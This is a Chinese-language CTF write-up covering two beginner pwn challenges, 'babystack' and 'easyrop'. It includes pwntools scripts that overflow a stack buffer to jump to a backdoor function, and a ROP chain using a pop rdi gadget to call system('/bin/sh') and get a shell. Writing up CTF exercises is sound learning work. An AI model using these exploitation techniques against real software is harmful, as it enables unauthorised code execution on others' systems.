XSCTF联合招新赛(热身赛)babystack & easyrop

1. babystack

1.1 Checksec & IDA Pro

XSCTF联合招新赛(热身赛)babystack & easyrop_第1张图片

开启了栈不可执行,但是在 IDA Pro 中发现了backdoor函数

XSCTF联合招新赛(热身赛)babystack & easyrop_第2张图片

1.2栈溢出 ,使用gdb动态调试计算需要填充的字符数量

 

 

1.3构造PoC 

from pwn import *

io = process("/root/Desktop/PwnSubjects/babystack")

shell = 0x401195

payload = ( b'A' * ( 12 + 0x08 ) + p64(shell) )
io.sendline(payload)
io.interactive()

 shell的函数地址自行在 IDA 中寻找。

XSCTF联合招新赛(热身赛)babystack & easyrop_第3张图片

成功获取flag

2. easyrop

2.1 Checksec & IDA Pro 

 XSCTF联合招新赛(热身赛)babystack & easyrop_第4张图片

跟上一题类似的情况, 有一个shell函数,但是里面不是system("/bin/sh")

XSCTF联合招新赛(热身赛)babystack & easyrop_第5张图片

flag函数为存在栈溢出漏洞的函数,main函数调用flag,shell函数 

2.2 gdb动态调试

 

2.3 ROPgadget

先使用ROPgadget查看是否存在/bin/sh

简单的ret2text,不需要泄露地址

经过测试发现这题需要进行栈对齐,因此还需要一个pop rdi

2.4 构造PoC 

其中system地址需要通过双击此处(shell函数的反汇编)中的 call _system获取

XSCTF联合招新赛(热身赛)babystack & easyrop_第6张图片

 XSCTF联合招新赛(热身赛)babystack & easyrop_第7张图片

from pwn import *

io = process("/root/Desktop/PwnSubjects/rop")

rdi = 0x400873
system = 0x4005D0
bin_sh = 0x4008B8

payload = ( b'A' * ( 112 + 0x08 ) + p64(rdi) + p64(bin_sh) + p64(system) )
io.sendline(payload)
io.interactive()

成功获取flag。 

你可能感兴趣的:(Pwn,linux,python,网络,网络安全)